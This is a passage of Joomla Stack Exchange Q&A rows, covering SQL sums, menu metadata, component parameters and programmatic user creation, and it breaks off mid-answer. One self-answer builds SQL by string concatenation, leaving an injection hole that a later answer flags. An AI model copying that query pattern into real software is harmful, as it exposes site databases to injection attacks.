  <row Id="26567" PostTypeId="1" AcceptedAnswerId="26569" CreationDate="2019-12-22T19:44:00.027" Score="1" ViewCount="93" Body="&lt;p&gt;I am trying to display my commissions for each month. I want to display all 12 months with a total for each month. I've started with just January but this is as close as I have come to get to what I want. I am using Joomla 3.9, Platform 13.1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 records with 255 in Jan for each one so I am getting the right sum.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is the result I am getting with my php code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FieldName: jan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SUM(FieldValue): 510&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I just want it to show:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jan 510&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;&#xA;$query = &quot;SELECT FieldName, SUM(FieldValue) FROM jos_rsform_submission_values WHERE FieldName=\&quot;Jan\&quot;';&#xA;&#xA;$db -&amp;gt; setQuery($query);&#xA;&#xA;$results = $db -&amp;gt; loadObjectList();&#xA;&#xA;foreach($results as $value){&#xA;    foreach($value as $key =&amp;gt; $data){&#xA;        echo $key.': '.$data.&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;    }&#xA;    echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13997" LastEditorUserId="12352" LastEditDate="2019-12-22T20:26:57.983" LastActivityDate="2019-12-22T20:37:46.923" Title="Trying to display mysql values properly in php" Tags="|mysql|joomla-3.6|php7|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26568" PostTypeId="2" ParentId="26567" CreationDate="2019-12-22T20:35:59.343" Score="0" Body="&lt;p&gt;I'm assuming that you have the month name in FieldName and the commission values in FieldValue. When you do a SQL COUNT or SUM over subsets of records like this you have to have a GROUP BY clause. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also loadObjectList() will return an array of objects, and for each object the object property matches the columns you're selecting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;&#xA;$query = &quot;SELECT FieldName AS `month`, SUM(FieldValue) AS `commission` FROM jos_rsform_submission_values GROUP BY FieldName&quot;;&#xA;&#xA;$db -&amp;gt; setQuery($query);&#xA;&#xA;$results = $db -&amp;gt; loadObjectList();&#xA;foreach($results as $row)&#xA;{ &#xA;    echo $row-&amp;gt;month . ': ' . $row-&amp;gt;commission . '&amp;lt;br&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2019-12-22T20:35:59.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26569" PostTypeId="2" ParentId="26567" CreationDate="2019-12-22T20:37:46.923" Score="0" Body="&lt;p&gt;Start by hardcoding a complete array of three-letter months. Then create an array with those months as keys with zero values for all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then query your database for existing amounts.  You are going to want to have a way of isolating year-specific data as the years go by.  At the very least, you should be filtering on &lt;code&gt;FormId&lt;/code&gt; so that you are not accidentally including unrelated data from the same table.  (I'll add &lt;code&gt;99&lt;/code&gt; in my demonstration.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you query, add the new found amounts to your zero amounts for any found months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all of the calculations are done, loop through your prepared data to display the months and their totals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without listing all of the months, you will only see the months that are present in the database table.  This solution will consistently deliver 12 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: Never show &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt; or &lt;code&gt;$e-&amp;gt;getMessage()&lt;/code&gt; to the public!&lt;/strong&gt; This is purely to help you diagnose any coding mistakes while developing from my script.  Once your script is working, comment the two &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&lt;/code&gt; lines out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];&#xA;$monthlySums = array_fill_keys($months, 0);&#xA;&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;FieldName, SUM(FieldValue) AS Sum&quot;)&#xA;    -&amp;gt;from(&quot;#__rsform_submission_values&quot;)&#xA;    -&amp;gt;where([&#xA;        &quot;FormId = 99&quot;,&#xA;        &quot;FieldName IN (&quot; . implode(',', $db-&amp;gt;q($months)) . &quot;)&quot;&#xA;    ])&#xA;    -&amp;gt;group(&quot;FieldName&quot;);&#xA;&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');  // never show dump() to public&#xA;&#xA;try {&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $objects = $db-&amp;gt;loadObjectList();&#xA;    foreach ($objects as $object) {&#xA;        $monthlySums[$object-&amp;gt;FieldName] += $object-&amp;gt;Sum;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // never show getMessage() to public&#xA;}&#xA;&#xA;foreach ($monthlySums as $month =&amp;gt; $sum) {&#xA;    echo &quot;&amp;lt;div&amp;gt;{$month}: {$sum}&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-12-22T20:37:46.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26570" PostTypeId="1" CreationDate="2019-12-23T14:37:49.707" Score="2" ViewCount="399" Body="&lt;p&gt;I need to add meta description inside a component page. That's what I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu      = $app-&amp;gt;getMenu(); // Load the JMenuSite Object&#xA;$active    = $menu-&amp;gt;getActive(); // Load the Active Menu Item as an stdClass Object&#xA;$meta_description = $active-&amp;gt;params-&amp;gt;menu-meta_description;&#xA;$document-&amp;gt;addCustomTag('&amp;lt;meta name=&quot;description&quot; content=&quot;' . $meta_description . '&quot;&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is not what I would expect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;description&quot; content=&quot;0&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, my content is different from &quot;0&quot;. So, what's wrong in my code?&lt;/p&gt;&#xA;" OwnerUserId="9686" LastEditorUserId="12352" LastEditDate="2019-12-23T20:15:17.050" LastActivityDate="2024-01-02T04:03:05.350" Title="Get menu-meta_description from menu item" Tags="|joomla-3.x|menu|menu-parameters|metadata|active|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26571" PostTypeId="2" ParentId="26570" CreationDate="2019-12-23T14:54:22.030" Score="0" Body="&lt;p&gt;I solved it myself with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_description = $active-&amp;gt;params-&amp;gt;get('menu-meta_description');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are some relevant/supporting references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.techfry.com/joomla/how-to-access-joomla-menu-parameters-for-component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techfry.com/joomla/how-to-access-joomla-menu-parameters-for-component&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/4972811/2943403&quot;&gt;Getting Menu Parameters from Joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.webtechriser.com/get-any-property-of-the-active-menu-item-class-in-joomla-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.webtechriser.com/get-any-property-of-the-active-menu-item-class-in-joomla-3/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/5199/12352&quot;&gt;How to get the alias or title of the active menu item?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9686" LastEditorUserId="12352" LastEditDate="2019-12-23T20:39:06.027" LastActivityDate="2019-12-23T20:39:06.027" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26572" PostTypeId="1" AcceptedAnswerId="26573" CreationDate="2019-12-23T16:27:23.890" Score="0" ViewCount="280" Body="&lt;p&gt;In my local joomla instance, in the global user configuration, I enabled the Allow User Registration option, also selected self option in New user account activation, among other options that include Enable Custom Fields in the Integration tab. Now I need to take a backup of these configurations but I don't know in which table or tables they are stored, this backup I plan to use it in another instance of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In which joomla table is the global user configuration stored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="13628" LastEditDate="2019-12-23T16:36:27.510" LastActivityDate="2019-12-23T18:34:13.743" Title="In which joomla table is the global user configuration stored?" Tags="|global-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26573" PostTypeId="2" ParentId="26572" CreationDate="2019-12-23T18:34:13.743" Score="1" Body="&lt;p&gt;Component configuration is stored in &lt;code&gt;#__extensions&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-12-23T18:34:13.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26574" PostTypeId="2" ParentId="26506" CreationDate="2019-12-23T19:53:07.707" Score="7" Body="&lt;p&gt;In order to fix it, open &lt;code&gt;/home/mchardism/public_html/plugins/quickicon/phpversioncheck/phpversioncheck.php&lt;/code&gt;, find between the lines #108-132 the php version you use and change the date for &lt;code&gt;eos&lt;/code&gt; (add few years, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;eos&lt;/code&gt; means &lt;code&gt;End of Support&lt;/code&gt; and as @sharky said, this error &lt;code&gt;occurs on a combination of outdated PHP and Joomla! versions&lt;/code&gt;. By changing &lt;code&gt;eos&lt;/code&gt; date you simply allow to code continue to work without actual PHP/Joomla updating. For example I use Joomla 3.7.3 and PHP 5.6, but for today the latest versions are 3.9.14 and 7.4.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is more preferable way than accepted @omasan-esimaje 's answer, because in this case you still have the left vertical menu in admin panel. &lt;code&gt;mod_quickicon&lt;/code&gt; is responsible for this menu, so disabling this plugin you disable this menu :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in my case it was necessary to set &lt;code&gt;public $error_reporting&lt;/code&gt; to &lt;code&gt;development&lt;/code&gt; (ie &lt;code&gt;public $error_reporting = 'development'&lt;/code&gt;) in &lt;code&gt;configuration.php&lt;/code&gt;, instead of &lt;code&gt;maximum&lt;/code&gt;, in order to see the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In case, if you want to disable the plugin (according to @omasan-esimaje 's answer):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to open DB is to download &lt;a href=&quot;https://www.adminer.org/&quot; rel=&quot;noreferrer&quot;&gt;Adminer&lt;/a&gt; (Database management in a single PHP file) and put it next to &lt;code&gt;configuration.php&lt;/code&gt; file, then open &lt;code&gt;yoursite.com/adminer-x.y-z.php&lt;/code&gt; where &lt;code&gt;x.y-z&lt;/code&gt; is the version of Adminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Necessary credentials for connection to DB you can find also in &lt;code&gt;configuration.php&lt;/code&gt; and they look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $host = 'localhost';&#xA;public $user = 'juser';&#xA;public $password = 'jpass';&#xA;public $db = 'jdb';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For security reason remove Adminer once you disable the plugin.&lt;/p&gt;&#xA;" OwnerUserId="11423" LastEditorUserId="11423" LastEditDate="2019-12-23T21:18:50.607" LastActivityDate="2019-12-23T21:18:50.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26575" PostTypeId="1" AcceptedAnswerId="26576" CreationDate="2019-12-23T21:09:30.523" Score="0" ViewCount="119" Body="&lt;p&gt;I am having an issue with the Access component parameters from inside own component. I have tried the code listed in the first answer, but it did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an image of the back end config field, that I would like to access in my front end views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5Wof8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Wof8.jpg&quot; alt=&quot;back end config field I would like to use&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows the right way to access this I could use a pointer &lt;strong&gt;:)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a image of the Database field so it is in the DB&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VLGg8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VLGg8.jpg&quot; alt=&quot;DB image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what I entered in my front end file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Import `ComponentHelper` class.&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;&#xA;// Get all params of a specific component.&#xA;$params = ComponentHelper::getParams('com_sljooma');&#xA;&#xA;// To get the value of the param.&#xA;$token_salt = $params-&amp;gt;get('security_token');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I &lt;code&gt;echo $token_salt&lt;/code&gt;, nothing is being returned. I'm not sure what I am missing.&lt;/p&gt;&#xA;" OwnerUserId="13982" LastEditorUserId="12352" LastEditDate="2019-12-26T00:43:48.387" LastActivityDate="2019-12-26T00:43:48.387" Title="How to use component config permissions on the frontend?" Tags="|joomla-3.x|front-end|security-token|component-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26576" PostTypeId="2" ParentId="26575" CreationDate="2019-12-23T22:24:48.220" Score="1" Body="&lt;pre&gt;&lt;code&gt;// Import `ComponentHelper` class.&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;&#xA;// Get all params of a specific component.&#xA;$params = ComponentHelper::getParams('com_yourcomponent');&#xA;&#xA;// To get the value of the param.&#xA;$params-&amp;gt;get('yourParam');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-12-23T22:24:48.220" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26577" PostTypeId="2" ParentId="26351" CreationDate="2019-12-24T13:07:16.360" Score="1" Body="&lt;p&gt;A solution could be possible using Community Builder extension and it's plugin CB Content Bot.&lt;/p&gt;&#xA;" OwnerUserId="9686" LastActivityDate="2019-12-24T13:07:16.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26578" PostTypeId="1" AcceptedAnswerId="26588" CreationDate="2019-12-24T18:57:03.270" Score="3" ViewCount="466" Body="&lt;p&gt;Has the &lt;code&gt;addfieldpath&lt;/code&gt; parameter in custom extension forms changed in Joomla 4? The Joomla admin is no longer finding my component's customized field types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;addfieldpath=&quot;/administrator/components/com_mycomponent/Field&quot;&amp;gt;&lt;/code&gt; in the form xml definition, since all my fields have been moved to the new &lt;code&gt;Field&lt;/code&gt; directory, and my field names have been changed to something like &lt;code&gt;HeaderField&lt;/code&gt; and are referenced in the XML field like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;field name=&quot;header&quot; type=&quot;header&quot; default=&quot;COM_MYCOMPONENT_DEFAULT&quot; description=&quot;COM_MYCOMPONENT_DESC&quot; tag=&quot;info&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there's something that has to be done to let the xml form correctly map to the new namespaced fields.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2019-12-28T00:22:18.070" Title="Joomla 4 addfieldpath" Tags="|jform|form-fields-types|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26579" PostTypeId="1" AcceptedAnswerId="26581" CreationDate="2019-12-25T21:44:25.190" Score="1" ViewCount="131" Body="&lt;p&gt;I have tried a few way to Crypt the password for the database. I have tried with out salting before entering it in to the DB Query and i have tried with a few function to salt before entering it. Not sure what i mite be missing. Below i will display the ways i have tried if anyone mite see what i am missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;First Try:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypassword = JUserHelper::genRandomPassword(10);$salt = JUserHelper::genRandomPassword(32);&#xA;    $crypt = JUserHelper::getCryptedPassword($mypassword, $salt);&#xA;    $password_hash = $crypt.':'.$salt;&#xA;     //below is how i imputed it to my array.&#xA;     $udata = array(&#xA;         'name'=&amp;gt;$nUser,&#xA;         'username'=&amp;gt;$nUser,&#xA;         'password'=&amp;gt;$password_hash,&#xA;         'email'=&amp;gt;$nMail,&#xA;         'groups'=&amp;gt;array(2), // set the usergroup(s) here (id)&#xA;         );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Second Try:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$udata = array(&#xA;     'name'=&amp;gt;$nUser,&#xA;     'username'=&amp;gt;$nUser,&#xA;     'password'=&amp;gt;password_hash($mypassword, PASSWORD_DEFAULT),&#xA;     'email'=&amp;gt;$nMail,&#xA;     'groups'=&amp;gt;array(2), // set the usergroup(s) here (id)&#xA;     );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Also Tried This:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     $udata = array(&#xA;     'name'=&amp;gt;$nUser,&#xA;     'username'=&amp;gt;$nUser,&#xA;     'password'=&amp;gt;JUserHelper::genRandomPassword(15),&#xA;     'email'=&amp;gt;$nMail,&#xA;     'groups'=&amp;gt;array(2), // set the usergroup(s) here (id)&#xA;     );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This last one was with out hashing it just create the pass right in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with all trys i get this message on front end.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6JWW8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6JWW8.jpg&quot; alt=&quot;wrongpass error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i log in to the back end the account is there but can not log in till i change the password from the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;em&gt;Added Content.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nUser_joomla($nUser, $myuuid, $myobject)&#xA;{&#xA;//$nUser = 'Test User 3';//$_GET['name'] &amp;lt;== Put this when using SL to URL Registration.&#xA;$arr = array($myobject,'@lsl.secondlife.com');&#xA;$nMail = implode(&quot;&quot;,$arr);&#xA;&#xA; $udata = array(&#xA;     'name'=&amp;gt;$nUser,&#xA;     'username'=&amp;gt;$nUser,&#xA;     'password'=&amp;gt;  ***THIS IS WHERE I PUT THE PASSWORD STRING.***,&#xA;     'email'=&amp;gt;$nMail,&#xA;     'groups'=&amp;gt;array(2), // set the usergroup(s) here (id)&#xA; );&#xA; $user = new JUser;&#xA;&#xA;     $user-&amp;gt;bind($udata);         &#xA;     $user-&amp;gt;save();&#xA;     $userId = JUserHelper::getUserId($nUser);&#xA;       //return $userId;&#xA;       //The Issue Is Up Here ^^^^&#xA;&#xA;  /// *** Everything Below is working&#xA;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA;// Create a new query object.&#xA;$sql = $db-&amp;gt;getQuery(true);&#xA;$columns = array('id', 'asset_id', 'ordering', 'jid', 'sl_name', 'sl_uuid');&#xA;$values = array(0, 0, 1, $userId, $db-&amp;gt;quote($nUser), $db-&amp;gt;quote($myuuid));&#xA;$sql&#xA;-&amp;gt;insert($db-&amp;gt;quoteName('#__sljooma_user'))&#xA;-&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;-&amp;gt;values(implode(',', $values));&#xA;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $db-&amp;gt;execute();&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13982" LastEditorUserId="13982" LastEditDate="2019-12-26T03:48:58.367" LastActivityDate="2019-12-26T11:01:31.373" Title="Joomla 3.9.x Password Crypt Aid" Tags="|joomla-3.x|registration|account-password|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26580" PostTypeId="2" ParentId="26579" CreationDate="2019-12-26T07:19:40.850" Score="0" Body="&lt;p&gt;So could not get it to work with &quot;Juser&quot;, so i just used the code below. This cleaned it up and everything works right. :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nUser_joomla($nUser, $myuuid, $myobject, $mypassword, $joomla_group)&#xA;{&#xA;    $arr = array($myobject,'@domain.com');&#xA;    $nMail = implode(&quot;&quot;,$arr);&#xA;&#xA;    $db = JFactory::getDbo();&#xA;    jimport('joomla.user.helper');&#xA;    $pass = JUserHelper::hashPassword($mypassword);&#xA;    $time = time();&#xA;    $params = '{&quot;admin_style&quot;:&quot;&quot;,&quot;admin_language&quot;:&quot;&quot;,&quot;language&quot;:&quot;&quot;,&quot;editor&quot;:&quot;&quot;,&quot;helpsite&quot;:&quot;&quot;,&quot;timezone&quot;:&quot;&quot;}';&#xA;    $registerDate = date('Y-m-d H:i:s', $time);&#xA;    $query = &quot;INSERT INTO #__users (`name`, `username`, `password`, `params`, `email`, `block`, `registerDate`) VALUES \n\t\t\t\t\t('&quot; . $nUser . &quot;', '&quot; . $nUser . &quot;', '&quot; . $pass . &quot;', '&quot; . $params . &quot;', '&quot; . $nMail . &quot;', '&quot; . $block . &quot;', '&quot; . $registerDate . &quot;')&quot;;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;query();&#xA;    $last_id = $db-&amp;gt;insertid();&#xA;    $query = &quot;INSERT INTO #__user_usergroup_map (`user_id`, `group_id`) VALUES ('&quot; . $last_id . &quot;', '&quot; . $joomla_group .&quot;')&quot;;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;query();    &#xA;    // Create a new query object.&#xA;    $query = &quot;INSERT INTO #__sljooma_user (`id`, `asset_id`, `jid`, `sl_name`, `sl_uuid`) VALUES ('0', '0', '&quot; . $last_id . &quot;', '&quot; . $nUser . &quot;', '&quot; . $myuuid . &quot;')&quot;;  &#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;^^^ MAYBE LATER ILL FIX THE TABLE NAME TO MATCH THE COMPONENT ^^^ &lt;em&gt;LOL&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the function that works now, thank you everyone for your help. This is mounting up to be a great helpful community. :)&lt;/p&gt;&#xA;" OwnerUserId="13982" LastActivityDate="2019-12-26T07:19:40.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26581" PostTypeId="2" ParentId="26579" CreationDate="2019-12-26T08:48:26.550" Score="2" Body="&lt;p&gt;Several pointers/recommendations regarding your resolving code for you and future researchers.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;implode()&lt;/code&gt; has a default &quot;glue&quot; of an empty space.  &lt;a href=&quot;https://www.php.net/manual/en/function.implode.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Manual&lt;/a&gt;  When you want to join array elements into a string with no delimiter, you can omit the glue parameter and solely provide the array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nMail = implode($arr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nMail = implode([$myobject,'@domain.com']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nMail = &quot;{$myobject}@domain.com&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;date()&lt;/code&gt; default time is the as &lt;code&gt;time()&lt;/code&gt;.  &lt;a href=&quot;https://www.php.net/manual/en/function.date.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Manual&lt;/a&gt; For this reason, you can safely omit the second parameter from your &lt;code&gt;date()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$registerDate = date('Y-m-d H:i:s');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, when ever I am setting up my table schema (whether it be a Joomla build or not) which must capture the INSERT time in the row, I configure the column (&lt;code&gt;registerDate&lt;/code&gt; in this case) to generate the &lt;code&gt;CURRENT_TIMESTAMP&lt;/code&gt; by default so that I don't need to produce it via php.  Then, I simply do not pass that column as part of the INSERT query.  Just something to consider.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Please avoid manually writing json strings.  In this case, your data is not in any danger (and &lt;em&gt;technically&lt;/em&gt; it will be more efficient in units of microseconds because it calls no functions), but if this practice is continued elsewhere in your project(s), then there is the potential to create malformed json strings.  Trust &lt;code&gt;json_encode()&lt;/code&gt; to always get it right for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = json_encode(array_fill_keys([&quot;admin_style&quot;, &quot;admin_language&quot;, &quot;language&quot;, &quot;editor&quot;, &quot;helpsite&quot;, &quot;timezone&quot;], &quot;&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unfortunately, your queries are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;not secure (in terms of injection attack)&lt;/li&gt;&#xA;&lt;li&gt;not stable (prone to breakage when a value contains a single quote)&lt;/li&gt;&#xA;&lt;li&gt;not portable (might not work instantly if you change the database/environment)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I prefer the beauty and simplicity of passing data to &lt;code&gt;insertObject()&lt;/code&gt;. &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Manual&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not tested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = (object)[&#xA;    'name'     =&amp;gt; $nUser,&#xA;    'username' =&amp;gt; $nUser,&#xA;    'password' =&amp;gt; JUserHelper::hashPassword($mypassword);,&#xA;    'params'   =&amp;gt; json_encode(array_fill_keys([&quot;admin_style&quot;, &quot;admin_language&quot;, &quot;language&quot;, &quot;editor&quot;, &quot;helpsite&quot;, &quot;timezone&quot;], &quot;&quot;)),&#xA;    'email'    =&amp;gt; &quot;{$myobject}@domain.com&quot;,&#xA;    'block'    =&amp;gt; 'umm, you forgot to declare $block'&#xA;    // configure registerDate to generated automatically by the database&#xA;];&#xA;$user_result = $db-&amp;gt;insertObject('#__users', $user, 'primary_key');&#xA;&#xA;$user_gm = 